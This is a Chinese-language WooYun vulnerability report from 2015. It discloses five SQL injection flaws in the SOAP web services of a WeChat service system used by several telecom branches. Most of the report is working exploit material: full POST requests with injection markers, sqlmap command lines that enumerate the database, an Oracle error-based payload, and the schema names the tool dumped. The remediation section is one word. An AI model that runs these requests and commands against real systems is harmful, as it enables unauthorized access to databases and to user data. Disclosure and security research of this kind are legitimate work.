当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134847

漏洞标题:某微信服务系统存在五个SQL注入影响多家电信分公司

相关厂商:越亮传奇科技股份有限公司

漏洞作者: 路人甲

提交时间:2015-08-20 16:25

修复时间:2015-11-19 18:42

公开时间:2015-11-19 18:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-21: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-24: 细节向第三方安全合作伙伴开放
2015-10-15: 细节向核心白帽子及相关领域专家公开
2015-10-25: 细节向普通白帽子公开
2015-11-04: 细节向实习白帽子公开
2015-11-19: 细节向公众公开

简要描述:

某微信服务系统存在五个SQL注入影响多家电信分公司

详细说明:

这几个sql注入还是出现在webservices,其他地方均采用了参数化查询
经测试发现该webservices的以下服务存在漏洞

/service/UserApiService getTopServiceAccountList方法多个参数存在漏洞
/service/WeixinApiService getAccessToken方法多个参数存在漏洞
/service/WeixinApiService getBindByOpenid方法多个参数存在漏洞
/service/WeixinApiService getBindByPhone方法多个参数存在漏洞
/service/WeixinApiService getBindDataForPage方法多个参数存在漏洞


0x1 sql注入1
/service/UserApiService
同样将下面的内容保存为wooyun.txt

POST /service/UserApiService HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 312
Host: **.**.**.**
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getTopServiceAccountList>
<web:in0>2*</web:in0>
</web:getTopServiceAccountList>
</soapenv:Body>
</soapenv:Envelope>


然后运行:sqlmap.py -r wooyun.txt --dbms oracle

1.png


0x2 sql注入2
/service/WeixinApiService 服务的多个方法的多个参数存在漏洞,漏洞相似,选择其中之一进行证明:
同样将下面的内容保存为wooyun.txt

POST /service/WeixinApiService HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 323
Host: **.**.**.**
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getBindByPhone>
<web:in0>1*</web:in0>
<web:in1>2</web:in1>
</web:getBindByPhone>
</soapenv:Body>
</soapenv:Envelope>


然后运行:sqlmap.py -r wooyun.txt --dbms oracle

2.png


其他的类似,数据包分别为:
getAccessToken方法:

<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getAccessToken>
<web:in0>1'</web:in0>
</web:getAccessToken>
</soapenv:Body>
</soapenv:Envelope>


getBindByOpenid方法:

<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getBindByOpenid>
<web:in0>1'</web:in0>
<web:in1>2'</web:in1>
</web:getBindByOpenid>
</soapenv:Body>
</soapenv:Envelope>


getBindDataForPage方法:

<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getBindDataForPage>
<web:in0>1'</web:in0>
<web:in1>2</web:in1>
<web:in2>3</web:in2>
</web:getBindDataForPage>
</soapenv:Body>
</soapenv:Envelope>


用SQLMAP直接跑出的数据:
sqlmap.py -r wooyun.txt --dbms oracle --dbs

data.png


漏洞案例:

http://**.**.**.**/main/login.jsp
http://**.**.**.**/main/login.jsp
http://**.**.**.**/main/login.jsp
**.**.**.**/main/login.jsp
http://**.**.**.**/main/login.jsp

漏洞证明:

sqlmap.py -r wooyun.txt --dbms oracle --dbs

_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:21:36
[21:21:36] [INFO] parsing HTTP request from 'ser.txt'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] [21:21:36] [INFO] resuming back-end DBMS 'oracle'
[21:21:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: <soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getBindByPhone>
<web:in0>1' AND 4320=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (4320=4320) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND 'ieuf'='ieuf</web:in0>
<web:in1>2</web:in1>
</web:getBindByPhone>
</soapenv:Body>
</soapenv:Envelope>
---
[21:21:36] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[21:21:36] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[21:21:36] [INFO] fetching database (schema) names
[21:21:36] [INFO] the SQL query used returns 22 entries
available databases [22]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MAS
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TJ_VAPP
[*] TSMSYS
[*] WMSYS
[*] XDB
[21:21:37] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'
[*] shutting down at 21:21:37

修复方案:

过滤吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-08-21 18:41

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态:

暂无